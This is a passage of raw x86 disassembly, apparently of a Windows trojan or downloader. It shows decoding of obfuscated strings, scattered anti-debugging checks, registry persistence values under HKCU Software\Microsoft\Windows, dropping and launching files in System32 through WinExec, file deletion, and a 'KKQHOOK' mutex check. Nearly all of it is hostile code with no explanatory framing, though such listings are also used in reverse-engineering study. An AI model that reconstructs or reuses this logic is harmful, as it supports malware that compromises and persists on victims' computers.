11h sub edx, eax push edx mov eax, dword_43C098 add eax, 5 push eax call sub_40CD1C ; CreateFontA mov ebx, eax mov [ebp+var_134], 6046h inc [ebp+var_134] push 1 push ebx push 30h push ds:dword_432FB4 call sub_40CC8C ; SendMessageA call sub_40CA58 ; IsDebuggerPresent push 1 push ebx push 30h push ds:dword_41E9A4 call sub_40CC8C ; SendMessageA call sub_40C998 ; GetProcessHeap push 1 push ebx push 30h push ds:dword_410890 call sub_40CC8C ; SendMessageA mov [ebp+var_138], 7C71h sub [ebp+var_138], 5546h push 1 push ebx push 30h push ds:dword_41E99C call sub_40CC8C ; SendMessageA call sub_40CA58 ; IsDebuggerPresent push 1 push ebx push 30h push ds:dword_432FAC call sub_40CC8C ; SendMessageA mov [ebp+var_139], 82h sub [ebp+var_139], 0Fh push 1 push ebx push 30h push ds:dword_413E04 call sub_40CC8C ; SendMessageA mov [ebp+var_122], 63D7h movzx eax, [ebp+var_122] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_122], ax push 1 push ebx push 30h push ds:dword_4351E4 call sub_40CC8C ; SendMessageA push 1 push ebx push 30h push ds:dword_4351E8 call sub_40CC8C ; SendMessageA mov ax, word_4469D6 mov [ebp+var_16E], ax push 0FFFFFFFCh push ds:dword_432FB4 call sub_40CC2C ; GetWindowLongA mov ds:dword_41FC38, eax mov [ebp+var_13C], 3D1h inc [ebp+var_13C] push offset sub_40B3C6 push 0FFFFFFFCh push ds:dword_432FB4 call sub_40CC38 ; SetWindowLongA call sub_40C998 ; GetProcessHeap push 0FFFFFFFCh push ds:dword_41E9A4 call sub_40CC2C ; GetWindowLongA mov ds:dword_41E9A0, eax lea edi, [ebp+var_171] lea esi, byte_4469D8 mov ecx, 3 rep movsb push offset sub_40B3C6 push 0FFFFFFFCh push ds:dword_41E9A4 call sub_40CC38 ; SetWindowLongA push 0FFFFFFFCh push ds:dword_410890 call sub_40CC2C ; GetWindowLongA mov ds:dword_40E060, eax call sub_40CA58 ; IsDebuggerPresent push offset sub_40B3C6 push 0FFFFFFFCh push ds:dword_410890 call sub_40CC38 ; SetWindowLongA push 0FFFFFFFCh push ds:dword_41E99C call sub_40CC2C ; GetWindowLongA mov ds:dword_413E00, eax mov [ebp+var_13E], 3D62h add [ebp+var_13E], 3454h push offset sub_40B3C6 push 0FFFFFFFCh push ds:dword_41E99C call sub_40CC38 ; SetWindowLongA mov [ebp+var_140], 61B1h add [ebp+var_140], 29B9h push ds:dword_432FB4 call sub_40CBD8 ; SetFocus call sub_40C998 ; GetProcessHeap pop edi pop esi pop ebx leave retn sub_408FEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_409A96 proc near ; DATA XREF: sub_40AB84+7A2o var_55F0 = dword ptr -55F0h var_55EC = dword ptr -55ECh var_55E6 = word ptr -55E6h var_55E4 = byte ptr -55E4h var_55DD = byte ptr -55DDh var_55DC = dword ptr -55DCh var_55D8 = dword ptr -55D8h var_55D4 = byte ptr -55D4h var_55D3 = byte ptr -55D3h var_55CD = byte ptr -55CDh var_55C5 = byte ptr -55C5h var_55C4 = word ptr -55C4h var_55C2 = byte ptr -55C2h var_4738 = dword ptr -4738h var_4731 = byte ptr -4731h var_472C = byte ptr -472Ch var_4724 = byte ptr -4724h var_471F = byte ptr -471Fh var_471E = byte ptr -471Eh var_4718 = byte ptr -4718h var_4710 = byte ptr -4710h var_4708 = byte ptr -4708h var_4705 = byte ptr -4705h var_4702 = word ptr -4702h var_4700 = dword ptr -4700h var_46FC = dword ptr -46FCh var_46F8 = dword ptr -46F8h var_46F4 = dword ptr -46F4h var_46EE = word ptr -46EEh var_46EC = dword ptr -46ECh var_46E8 = dword ptr -46E8h var_46E2 = word ptr -46E2h var_46E0 = word ptr -46E0h var_46DE = word ptr -46DEh var_46DC = byte ptr -46DCh var_46D8 = dword ptr -46D8h var_46D4 = dword ptr -46D4h var_46CE = word ptr -46CEh var_46CC = dword ptr -46CCh var_46C6 = byte ptr -46C6h var_45D4 = dword ptr -45D4h var_45D0 = dword ptr -45D0h var_45CC = dword ptr -45CCh var_45C7 = byte ptr -45C7h var_45C3 = byte ptr -45C3h var_35D0 = byte ptr -35D0h var_35CE = dword ptr -35CEh var_35CA = word ptr -35CAh var_35C8 = dword ptr -35C8h var_35C4 = dword ptr -35C4h var_35C0 = byte ptr -35C0h var_35BB = byte ptr -35BBh var_25BC = byte ptr -25BCh var_25B9 = byte ptr -25B9h var_25B7 = byte ptr -25B7h var_15C8 = dword ptr -15C8h var_15C4 = dword ptr -15C4h var_15BE = byte ptr -15BEh var_15BD = byte ptr -15BDh var_15B9 = byte ptr -15B9h var_15B8 = dword ptr -15B8h var_1164 = byte ptr -1164h var_115F = byte ptr -115Fh var_115A = byte ptr -115Ah var_1155 = byte ptr -1155h var_1150 = byte ptr -1150h var_1149 = byte ptr -1149h var_1148 = byte ptr -1148h var_1140 = word ptr -1140h var_113E = dword ptr -113Eh var_113A = byte ptr -113Ah var_1134 = word ptr -1134h var_1132 = word ptr -1132h var_112F = byte ptr -112Fh var_1030 = dword ptr -1030h var_102C = dword ptr -102Ch var_1026 = word ptr -1026h var_1024 = dword ptr -1024h var_1020 = dword ptr -1020h var_101A = byte ptr -101Ah var_1019 = byte ptr -1019h var_1018 = dword ptr -1018h var_1014 = dword ptr -1014h var_1010 = byte ptr -1010h var_F0C = dword ptr -0F0Ch var_F08 = byte ptr -0F08h var_708 = dword ptr -708h var_703 = byte ptr -703h var_604 = dword ptr -604h var_600 = byte ptr -600h var_5A8 = byte ptr -5A8h var_5A7 = byte ptr -5A7h var_400 = byte ptr -400h push ebp mov ebp, esp mov eax, 55F0h call sub_40C8BC push ebx push esi push edi call sub_40C998 ; GetProcessHeap mov ax, word_4469DB mov [ebp+var_1132+1], ax mov ax, word_4469DD mov [ebp+var_1134+1], ax lea edi, [ebp+var_1134] lea esi, byte_4469DF xor ecx, ecx inc ecx rep movsb lea edi, [ebp+var_113A] lea esi, dword_4469E0 mov ecx, 3 rep movsw call sub_40C9C8 ; GetTickCount push eax call sub_40CE60 pop ecx mov eax, dword_4469E6 mov [ebp+var_113E], eax loc_409B01: ; CODE XREF: sub_409A96+1089j mov ax, word_4469EA mov [ebp+var_1140], ax mov eax, 13h sub eax, dword_43C098 push eax lea eax, [ebp+var_703] push eax call sub_401777 call sub_40C9D4 ; GetVersion push 9 push offset aTItS ; "ę" call sub_40129C lea edi, [ebp+var_703] push edi push offset aCWindowsSystem ; "C:\\WINDOWS\\System32" push eax lea edi, [ebp+var_400] push edi call sub_40CE54 lea edi, [ebp+var_1148] lea esi, aJsvquX ; "jsvQu&x" movsd movsd lea eax, [ebp+var_400] push eax call sub_403530 mov [ebp+var_1019], 0AEh movzx eax, [ebp+var_1019] imul eax, 1AD0h mov [ebp+var_1019], al lea edi, [ebp+var_1149] lea esi, byte_4469F4 xor ecx, ecx inc ecx rep movsb push 9 push offset aNsst ; "Ǎ" call sub_40129C mov edi, dword_43C0B8 push off_43C0C0[edi*4] push eax lea edi, [ebp+var_F08] push edi call sub_40CE54 mov [ebp+var_101A], 26h add [ebp+var_101A], 13h push 1 push offset aS ; "" call sub_40129C mov edi, 0Ch sub edi, dword_43C098 push edi push eax mov edi, dword_43C0B8 push off_43C0C0[edi*4] call sub_401883 add esp, 4Ch cmp eax, 0FFFFh jnz short loc_409C1A push 9 push offset aSS ; "ę" call sub_40129C push eax lea edi, [ebp+var_F08] push edi call sub_40CE78 add esp, 10h loc_409C1A: ; CODE XREF: sub_409A96+166j mov [ebp+var_1020], 3BECh sub [ebp+var_1020], 7A91h and [ebp+var_1018], 0 mov [ebp+var_1030], 4 push 1Ah push offset word_446D2E call sub_40129C mov [ebp+var_15B8], eax push 3 push offset asc_446D2A ; "" call sub_40129C lea edi, [ebp+var_1150] push edi lea edi, [ebp+var_1030] push edi lea edi, [ebp+var_1018] push edi push eax mov edi, [ebp+var_15B8] push edi push 80000001h call sub_4014CB lea edi, [ebp+var_1155] lea esi, aWgV ; "Wg/v" mov ecx, 5 rep movsb lea edi, [ebp+var_115A] lea esi, aVH ; "-V,H" mov ecx, 5 rep movsb push 7 push offset aIKt ; "Ԋ" call sub_40129C push [ebp+var_1018] push eax lea edi, [ebp+var_112F] push edi call sub_40CE54 mov [ebp+var_1024], 63D5h sub [ebp+var_1024], 4DE7h lea eax, [ebp+var_112F] push eax lea eax, [ebp+var_F08] push eax call sub_40CE78 push 1 push offset asc_446D20 ; "" call sub_40129C lea edi, [ebp+var_604] push edi push 0 push 0 push eax push offset aKkqhook ; "KKQHOOK" lea edi, [ebp+var_400] push edi lea edi, [ebp+var_F08] push edi push 0 call sub_4063C4 add esp, 6Ch mov ebx, eax mov [ebp+var_1026], 5152h inc [ebp+var_1026] or ebx, ebx jnz short loc_409D60 mov [ebp+var_15B9], 0DBh add [ebp+var_15B9], 1 lea eax, [ebp+var_400] push eax call sub_4035A5 pop ecx call sub_40C944 ; GetCurrentThreadId jmp loc_40AA0B ; --------------------------------------------------------------------------- loc_409D60: ; CODE XREF: sub_409A96+2A3j and [ebp+var_1018], 0 push 1Ah push offset word_446D2E call sub_40129C mov [ebp-15BCh], eax push 3 push offset asc_446D2A ; "" call sub_40129C push 4 push 4 lea edi, [ebp+var_1018] push edi push eax mov edi, [ebp-15BCh] push edi push 80000001h call sub_401614 mov [ebp+var_102C], 55F4h inc [ebp+var_102C] push 0 lea eax, [ebp+var_400] push eax call sub_401AF1 add esp, 30h mov [ebp+var_F0C], eax or eax, eax jz loc_40AA0B call sub_40C944 ; GetCurrentThreadId lea eax, [ebp+var_400] push eax call sub_40C908 ; DeleteFileA call sub_40C968 ; RtlGetLastWin32Error lea eax, [ebp+var_400] push eax call sub_4035A5 pop ecx and [ebp+var_708], 0 jmp loc_40A9D2 ; --------------------------------------------------------------------------- loc_409E00: ; CODE XREF: sub_409A96+F5Fj call sub_40C998 ; GetProcessHeap cmp [ebp+var_600], 0 jz loc_40A9D2 call sub_40C938 ; GetCurrentProcessId lea ecx, [ebp+var_600] or eax, 0FFFFFFFFh loc_409E20: ; CODE XREF: sub_409A96+38Fj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_409E20 cmp eax, 5Ch jb loc_40A9D2 call sub_40C998 ; GetProcessHeap mov [ebp+var_5A8], 0 push 0FFFh lea eax, [ebp+var_25BC] push eax lea eax, [ebp+var_5A7] push eax call sub_408A3D call sub_40C998 ; GetProcessHeap push 0FFFh lea eax, [ebp+var_35BB] push eax lea eax, [ebp+var_600] push eax call sub_408A3D add esp, 18h call sub_40C998 ; GetProcessHeap mov [ebp+var_15BE], 0 lea edi, [ebp+var_35C0] lea esi, aPPd ; "P Pd" mov ecx, 5 rep movsb mov [ebp+var_15BD], 0 jmp short loc_409EBA ; --------------------------------------------------------------------------- loc_409E9C: ; CODE XREF: sub_409A96+43Dj movzx eax, [ebp+var_15BD] lea edx, [ebp+eax+var_25BC] movsx ecx, byte ptr [edx] sub ecx, eax mov eax, ecx mov [edx], al add [ebp+var_15BD], 1 loc_409EBA: ; CODE XREF: sub_409A96+404j lea ecx, [ebp+var_25BC] or eax, 0FFFFFFFFh loc_409EC3: ; CODE XREF: sub_409A96+432j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_409EC3 movzx esi, [ebp+var_15BD] cmp esi, eax jb short loc_409E9C lea ecx, [ebp+var_25BC] or eax, 0FFFFFFFFh loc_409EDE: ; CODE XREF: sub_409A96+44Dj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_409EDE lea esi, [ebp+var_35BB] push esi push eax lea edi, [ebp+var_25BC] push edi call sub_408896 add esp, 0Ch mov [ebp+var_35C4], eax call sub_40C9C8 ; GetTickCount push 5 push offset aC ; "×" call sub_40129C add esp, 8 mov edi, 3 sub edi, dword_43C094 push edi push eax lea edi, [ebp+var_25BC] push edi call sub_401883 add esp, 0Ch cmp eax, 0 jnz loc_40A4A6 mov [ebp+var_46DE], 1DFCh movzx eax, [ebp+var_46DE] imul eax, 16C6h mov [ebp+var_46DE], ax mov eax, dword_446A04 mov [ebp+var_4700], eax call sub_40C998 ; GetProcessHeap lea eax, [ebp+var_25B7] push eax lea eax, [ebp+var_45C7] push eax call sub_40C8DC mov [ebp+var_46E0], 0C3h add [ebp+var_46E0], 0C24h mov [ebp+var_35C8], 0 mov [ebp+var_46CC], 4 call sub_40C9C8 ; GetTickCount lea eax, [ebp+var_46DC] push eax lea eax, [ebp+var_46CC] push eax lea eax, [ebp+var_35C8] push eax push offset aOfstkkq ; "ofstkkq" push offset aSoftwareMicros ; "Software\\Microsoft\\Windows" push 80000001h call sub_4014CB add esp, 18h mov ax, word_446A08 mov [ebp+var_4702], ax mov eax, 13h sub eax, dword_43C098 push eax lea eax, [ebp+var_703] push eax call sub_401777 add esp, 8 mov [ebp+var_46CE], 4102h movzx eax, [ebp+var_46CE] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_46CE], ax push 9 push offset aTItS ; "ę" call sub_40129C add esp, 8 lea edi, [ebp+var_703] push edi push offset aCWindowsSystem ; "C:\\WINDOWS\\System32" push eax lea edi, [ebp+var_400] push edi call sub_40CE54 add esp, 10h call sub_40CA58 ; IsDebuggerPresent push 1 push offset asc_446D20 ; "" call sub_40129C add esp, 8 lea edi, [ebp+var_604] push edi push 0 push 0 push eax push offset aKkqhook ; "KKQHOOK" lea edi, [ebp+var_400] push edi lea edi, [ebp+var_45C7] push edi push offset dword_41FC40 call sub_4063C4 add esp, 20h mov ebx, eax lea edi, [ebp+var_4705] lea esi, word_446A0A mov ecx, 3 rep movsb cmp ebx, 0 jnz short loc_40A0B2 call sub_40C9C8 ; GetTickCount lea eax, [ebp+var_400] push eax call sub_4035A5 add esp, 4 jmp short loc_40A0EA ; --------------------------------------------------------------------------- loc_40A0B2: ; CODE XREF: sub_409A96+604j push 4 push 4 lea eax, [ebp+var_604] push eax push offset aOfstkkq ; "ofstkkq" push offset aSoftwareMicros ; "Software\\Microsoft\\Windows" push 80000001h call sub_401614 call sub_40C938 ; GetCurrentProcessId lea eax, [ebp+var_400] push eax call sub_4035A5 add esp, 1Ch call sub_40C944 ; GetCurrentThreadId loc_40A0EA: ; CODE XREF: sub_409A96+61Aj and [ebp+var_35C8], 0 mov [ebp+var_46CC], 4 mov [ebp+var_46E2], 6C0Eh sub [ebp+var_46E2], 198h lea eax, [ebp+var_46DC] push eax lea eax, [ebp+var_46CC] push eax lea eax, [ebp+var_35C8] push eax push offset aOfstkkqc ; "ofstkkqc" push offset aSoftwareMicros ; "Software\\Microsoft\\Windows" push 80000001h call sub_4014CB add esp, 18h call sub_40CA58 ; IsDebuggerPresent push 0 push 0 push 4 push 0 push 0 push 80000000h push offset dword_40E070 call sub_40CAD0 ; CreateFileA mov [ebp+var_46D4], eax call sub_40C9D4 ; GetVersion push 0 push [ebp+var_46D4] call sub_40C950 ; GetFileSize mov [ebp+var_46FC], eax lea edi, [ebp+var_4708] lea esi, byte_446A0D mov ecx, 3 rep movsb push [ebp+var_46D4] call sub_40C9B0 ; CloseHandle mov eax, [ebp+var_46FC] cmp [ebp+var_35C8], eax jb short loc_40A1BA mov [ebp+var_4738], 2713h sub [ebp+var_4738], 10FAh jmp loc_40A2F5 ; --------------------------------------------------------------------------- loc_40A1BA: ; CODE XREF: sub_409A96+709j mov eax, 13h sub eax, dword_43C098 push eax lea eax, [ebp+var_46C6] push eax call sub_401777 lea edi, [ebp+var_4710] lea esi, aNS6r ; "N s6r<`" movsd movsd push 9 push offset aTItS_0 ; "ę" call sub_40129C lea edi, [ebp+var_46C6] push edi push offset aCWindowsSystem ; "C:\\WINDOWS\\System32" push eax lea edi, [ebp+var_400] push edi call sub_40CE54 mov [ebp+var_46E8], 48D5h add [ebp+var_46E8], 2096h lea eax, [ebp+var_400] push eax call sub_403530 push 1 push offset asc_446D20 ; "" call sub_40129C lea edi, [ebp+var_604] push edi push 0 push [ebp+var_35C8] push eax push offset aKkqhook ; "KKQHOOK" lea edi, [ebp+var_400] push edi lea edi, [ebp+var_45C7] push edi push offset dword_40E070 call sub_4063C4 mov ebx, eax lea edi, [ebp+var_4718] lea esi, aWxRcnn ; "WX!rcNN" mov ecx, 2 rep movsd lea eax, [ebp+var_400] push eax call sub_40C908 ; DeleteFileA lea edi, [ebp+var_471E] lea esi, aFldF ; "FLd^F" mov ecx, 3 rep movsw lea eax, [ebp+var_400] push eax call sub_4035A5 add esp, 50h mov [ebp+var_46EC], 1B47h inc [ebp+var_46EC] or ebx, ebx jz short loc_40A2F5 mov [ebp+var_4738], 6B4Ch add [ebp+var_4738], 71EBh cmp [ebp+var_604], 0 jz short loc_40A2F5 push 4 push 4 lea eax, [ebp+var_604] push eax push offset aOfstkkqc ; "ofstkkqc" push offset aSoftwareMicros ; "Software\\Microsoft\\Windows" push 80000001h call sub_401614 add esp, 18h loc_40A2F5: ; CODE XREF: sub_409A96+71Fj ; sub_409A96+81Ej ... push 0 push 80h push 3 push 0 push 0 push 80000000h push offset dword_414DF0 call sub_40CAD0 ; CreateFileA mov [ebp+var_46D8], eax call sub_40C938 ; GetCurrentProcessId cmp [ebp+var_46D8], 0FFFFFFFFh jz loc_40AA0B lea edi, [ebp+var_471F] lea esi, byte_446A26 xor ecx, ecx inc ecx rep movsb push [ebp+var_46D8] call sub_40C9B0 ; CloseHandle mov [ebp+var_46EE], 1EF4h inc [ebp+var_46EE] lea eax, [ebp+var_45C7] push eax lea eax, [ebp+var_F08] push eax call sub_40CE54 push 6 push offset aIKe ; "NJ" call sub_40129C push eax lea edi, [ebp+var_F08] push edi call sub_40CE78 mov [ebp+var_46F4], 48C0h sub [ebp+var_46F4], 61A6h lea eax, [ebp+var_400] push eax call sub_403530 mov [ebp+var_46F8], 2203h add [ebp+var_46F8], 2F45h mov eax, dword_43C094 add eax, 6 push eax lea eax, [ebp+var_46C6] push eax call sub_401777 lea edi, [ebp+var_4724] lea esi, aAgwb ; "AGwB" mov ecx, 5 rep movsb push 9 push offset aTItS ; "ę" call sub_40129C lea edi, [ebp+var_46C6] push edi push offset aCWindowsSystem ; "C:\\WINDOWS\\System32" push eax lea edi, [ebp+var_400] push edi call sub_40CE54 call sub_40CA58 ; IsDebuggerPresent push 1 push offset asc_446D20 ; "" call sub_40129C lea edi, [ebp+var_604] push edi push 0 push [ebp+var_35C8] push eax push offset aKkqhook ; "KKQHOOK" lea edi, [ebp+var_400] push edi lea edi, [ebp+var_F08] push edi push offset dword_414DF0 call sub_4063C4 mov ebx, eax call sub_40C944 ; GetCurrentThreadId lea eax, [ebp+var_400] push eax call sub_40C908 ; DeleteFileA lea edi, [ebp+var_472C] lea esi, aMmv9nnh ; "MM9NNH" movsd movsd lea eax, [ebp+var_400] push eax call sub_4035A5 add esp, 68h lea edi, [ebp+var_4731] lea esi, aYZh ; "y+Zh" mov ecx, 5 rep movsb or ebx, ebx jz short loc_40A4A6 call sub_40C968 ; RtlGetLastWin32Error push offset dword_414DF0 call sub_40C908 ; DeleteFileA mov [ebp+var_4738], 4C88h inc [ebp+var_4738] loc_40A4A6: ; CODE XREF: sub_409A96+49Fj ; sub_409A96+9EFj cmp [ebp+var_25BC], 3Ah jnz loc_40A657 cmp [ebp+var_25B9], 3Ah jnz loc_40A657 call sub_40C944 ; GetCurrentThreadId call sub_40C938 ; GetCurrentProcessId mov [ebp+var_25B9], 0 push 5 push offset aNtze ; "" call sub_40129C lea edi, [ebp+var_35C8] push edi push eax lea edi, [ebp+var_25BC] push edi call sub_40CE6C add esp, 14h call sub_40C9C8 ; GetTickCount cmp [ebp+var_35C8], 0 jz short loc_40A52B call sub_40CE3C mov edx, 621B97C3h push ecx mov ecx, eax imul edx sar edx, 7 sar ecx, 1Fh sub edx, ecx mov eax, edx pop ecx mov edi, eax inc edi cmp edi, [ebp+var_35C8] ja loc_40A9D2 loc_40A52B: ; CODE XREF: sub_409A96+A6Aj call sub_40C968 ; RtlGetLastWin32Error cmp ds:dword_4195D0, 2 jnz short loc_40A593 mov eax, dword_446A39 mov [ebp+var_35CE], eax push 400h lea eax, [ebp+var_400] push eax call sub_40C9A4 ; GetSystemDirectoryA push 0Ah push offset aTIS ; "ә" call sub_40129C lea edi, [ebp+var_400] push edi push eax lea edi, [ebp+var_1010] push edi call sub_40CE54 push 8 push offset aIS ; "ә" call sub_40129C push eax lea edi, [ebp+var_400] push edi call sub_40CE78 add esp, 24h jmp short loc_40A5FE ; --------------------------------------------------------------------------- loc_40A593: ; CODE XREF: sub_409A96+AA1j call sub_40C998 ; GetProcessHeap push 400h lea eax, [ebp+var_400] push eax call sub_40C9F8 ; GetWindowsDirectoryA lea edi, [ebp+var_35D0] lea esi, aYq2y ; "yq:2y" mov ecx, 3 rep movsw push 0Eh push offset aTIS_0 ; "ә" call sub_40129C lea edi, [ebp+var_400] push edi push eax lea edi, [ebp+var_1010] push edi call sub_40CE54 call sub_40C9D4 ; GetVersion push 0Ch push offset aIS_0 ; "ә" call sub_40129C push eax lea edi, [ebp+var_400] push edi call sub_40CE78 add esp, 24h loc_40A5FE: ; CODE XREF: sub_409A96+AFBj lea eax, [ebp+var_1010] push eax call sub_40C908 ; DeleteFileA push 8 push offset word_446CCA call sub_40129C lea edi, [ebp+var_25BC] add edi, 4 push edi lea edi, [ebp+var_400] push edi push eax lea edi, [ebp+var_400] push edi call sub_40CE54 add esp, 18h mov ax, word_446A43 mov [ebp+var_35CA], ax push 0 lea eax, [ebp+var_400] push eax call sub_40CB3C ; WinExec call sub_40C9D4 ; GetVersion loc_40A657: ; CODE XREF: sub_409A96+A17j ; sub_409A96+A24j push 5 push offset aC_0 ; "ӗ" call sub_40129C mov edi, 3 sub edi, dword_43C094 push edi push eax lea edi, [ebp+var_25BC] push edi call sub_401883 add esp, 14h or eax, eax jnz loc_40A7C1 lea edi, [ebp+var_55CD] lea esi, aTAsj ; "t ASJ,%" movsd movsd call sub_40C998 ; GetProcessHeap lea edi, [ebp+var_55D4] lea esi, aOat? ; "|oat*?" mov ecx, 7 rep movsb mov eax, 12h sub eax, dword_43C098 push eax lea eax, [ebp+var_703] push eax call sub_401777 mov [ebp+var_55C4], 3303h sub [ebp+var_55C4], 3306h push 9 push offset aTItS ; "ę" call sub_40129C lea edi, [ebp+var_703] push edi push offset aCWindowsSystem ; "C:\\WINDOWS\\System32" push eax lea edi, [ebp+var_45C3] push edi call sub_40CE54 lea eax, [ebp+var_25B7] push eax lea eax, [ebp+var_55C2] push eax call sub_40C8DC mov [ebp+var_55C5], 92h add [ebp+var_55C5], 3Fh push 3 push offset aE_0 ; "Ӆ" call sub_40129C mov [ebp+var_55D8], eax push 1 push offset asc_446D20 ; "" call sub_40129C push 0 push 0 push 0 push eax mov edi, [ebp+var_55D8] push edi lea edi, [ebp+var_45C3] push edi lea edi, [ebp+var_55C2] push edi push 0 call sub_4063C4 add esp, 50h mov ebx, eax call sub_40C9D4 ; GetVersion cmp ebx, 2 jnz short loc_40A7C1 call sub_40C9D4 ; GetVersion push 0 lea eax, [ebp+var_45C3] push eax call sub_40CB3C ; WinExec push 6 push offset asc_446CB9 ; "" call sub_40129C mov edi, 0Ch sub edi, dword_43C098 push edi push eax lea edi, [ebp+var_55C2] push edi call sub_401883 add esp, 14h cmp eax, 0FFFFh jz short loc_40A7C1 mov eax, 3 sub eax, dword_43C094 push eax call sub_40CE00 pop ecx loc_40A7C1: ; CODE XREF: sub_409A96+BEBj ; sub_409A96+CD5j ... push 5 push offset aC_1 ; "ė" call sub_40129C mov edi, 3 sub edi, dword_43C094 push edi push eax lea edi, [ebp+var_25BC] push edi call sub_401883 add esp, 14h or eax, eax jnz loc_40A9D2 mov word ptr [ebp+var_55D8+2], 5555h movzx eax, word ptr [ebp+var_55D8+2] mov edx, eax add edx, eax mov eax, edx mov word ptr [ebp+var_55D8+2], ax call sub_40C9D4 ; GetVersion push 0 push 0 push 2 push 0 push 0 push 40000000h push offset dword_41E9B0 call sub_40CAD0 ; CreateFileA mov [ebp+var_45D4], eax push 6 push offset aLI ; "ۉ" call sub_40129C add esp, 8 push 0 lea edi, [ebp+var_55E4] push edi mov edi, 11h sub edi, dword_43C098 push edi push eax push [ebp+var_45D4] call sub_40CB48 ; WriteFile lea eax, [ebp+var_25B7] push eax lea eax, [ebp+var_45C7] push eax call sub_40C8DC lea ecx, [ebp+var_45C7] or eax, 0FFFFFFFFh loc_40A87E: ; CODE XREF: sub_409A96+DEDj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40A87E mov [ebp+var_45CC], eax mov [ebp+var_55E6], 66C3h inc [ebp+var_55E6] mov [ebp+var_35C8], 0 jmp short loc_40A8CB ; --------------------------------------------------------------------------- loc_40A8A7: ; CODE XREF: sub_409A96+E41j mov eax, [ebp+var_35C8] cmp [ebp+eax+var_45C7], 7Ch jnz short loc_40A8C5 mov eax, [ebp+var_35C8] mov [ebp+eax+var_45C7], 0 loc_40A8C5: ; CODE XREF: sub_409A96+E1Fj inc [ebp+var_35C8] loc_40A8CB: ; CODE XREF: sub_409A96+E0Fj mov eax, [ebp+var_45CC] cmp [ebp+var_35C8], eax jb short loc_40A8A7 call sub_40C944 ; GetCurrentThreadId and [ebp+var_45D0], 0 loc_40A8E5: ; CODE XREF: sub_409A96+F0Cj push 1Fh push offset aLCKNsstIlsI ; "җԊǍĉ҉" call sub_40129C mov edi, [ebp+var_45D0] lea edi, [ebp+edi+var_45C7] push edi push eax lea edi, [ebp+var_55D3] push edi call sub_40CE54 add esp, 14h mov [ebp+var_55EC], 888h inc [ebp+var_55EC] lea ecx, [ebp+var_55D3] or eax, 0FFFFFFFFh loc_40A928: ; CODE XREF: sub_409A96+E97j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40A928 push 0 lea esi, [ebp+var_55E4] push esi push eax lea edi, [ebp+var_55D3] push edi push [ebp+var_45D4] call sub_40CB48 ; WriteFile mov eax, [ebp+var_45D0] mov [ebp+var_55F0], eax lea ecx, [ebp+eax+var_45C7] or eax, 0FFFFFFFFh loc_40A961: ; CODE XREF: sub_409A96+ED0j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40A961 mov esi, [ebp+var_55F0] add esi, eax mov [ebp+var_45D0], esi mov [ebp+var_55DC], 4054h mov eax, [ebp+var_55DC] mov edx, eax add edx, eax mov [ebp+var_55DC], edx inc [ebp+var_45D0] mov eax, [ebp+var_45CC] cmp [ebp+var_45D0], eax jb loc_40A8E5 mov [ebp+var_55DD], 0FEh movzx eax, [ebp+var_55DD] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_55DD], al push [ebp+var_45D4] call sub_40C9B0 ; CloseHandle call sub_40C938 ; GetCurrentProcessId loc_40A9D2: ; CODE XREF: sub_409A96+365j ; sub_409A96+376j ... lea eax, [ebp+var_600] push eax push [ebp+var_708] push [ebp+var_F0C] call sub_401C68 add esp, 0Ch mov [ebp+var_708], eax or eax, eax jnz loc_409E00 push [ebp+var_F0C] call sub_40CA88 ; LocalFree call sub_40C9D4 ; GetVersion loc_40AA0B: ; CODE XREF: sub_409A96+2C5j ; sub_409A96+335j ... call sub_408C17 lea edi, [ebp+var_115F] lea esi, a36 ; "/36," mov ecx, 5 rep movsb fld dbl_446C84 fimul dword_43C0B8 mov edi, eax call sub_40C834 xchg eax, edi push edi call sub_40CDF4 mov edi, dword_43C0BC sub edi, eax inc edi mov [ebp+var_1014], edi mov eax, edi mov [ebp-15C0h], eax push eax call sub_40CDF4 add esp, 8 mov edi, [ebp-15C0h] add edi, eax mov [ebp+var_1014], edi lea edi, [ebp+var_1164] lea esi, aYeJ ; "yE J" mov ecx, 5 rep movsb mov eax, [ebp+var_1014] mov edi, dword_43C0BC sub edi, dword_43C0B8 mov ecx, edi inc ecx xor edx, edx div ecx mov [ebp+var_15C4], eax mov [ebp+var_1014], eax call sub_40C9D4 ; GetVersion call sub_40CE3C mov [ebp+var_15C8], eax mov eax, dword_43C0B8 mov edx, 66666667h push ecx mov ecx, eax imul edx sar edx, 1 sar ecx, 1Fh sub edx, ecx mov eax, edx pop ecx lea edi, [eax+eax*4] mov esi, [ebp+var_1014] mov edx, [ebp+var_15C8] mov eax, esi imul eax, [ebp+var_15C8] mov ecx, 0Ah cdq idiv ecx lea edi, [edi+edx+5] mov dword_43C0B8, edi call sub_40C9C8 ; GetTickCount mov eax, dword_43C0BC cmp dword_43C0B8, eax jbe short loc_40AB0F and dword_43C0B8, 0 loc_40AB0F: ; CODE XREF: sub_409A96+1070j call sub_40C9D4 ; GetVersion push 30D40h call sub_40CDDC pop ecx jmp loc_409B01 sub_409A96 endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB2B proc near ; CODE XREF: sub_40AB84+1Fp var_6 = word ptr -6 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push eax push edi call sub_40CA58 ; IsDebuggerPresent call sub_40C938 ; GetCurrentProcessId push offset aKkqhook_30 ; "KKQHOOK_30" push 0 push 1F0001h call sub_40CA94 ; OpenMutexA mov [ebp+var_4], eax or eax, eax jz short loc_40AB81 call sub_40C938 ; GetCurrentProcessId push [ebp+var_4] call sub_40C9B0 ; CloseHandle call sub_40C938 ; GetCurrentProcessId mov eax, 0Ch sub eax, dword_43C098 push eax call sub_40CE00 pop ecx mov [ebp+var_6], 4688h inc [ebp+var_6] loc_40AB81: ; CODE XREF: sub_40AB2B+26j pop edi leave retn sub_40AB2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB84 proc near ; CODE XREF: sub_40C858+5Cp var_7CC = dword ptr -7CCh var_7C8 = dword ptr -7C8h var_7C2 = byte ptr -7C2h var_7C1 = byte ptr 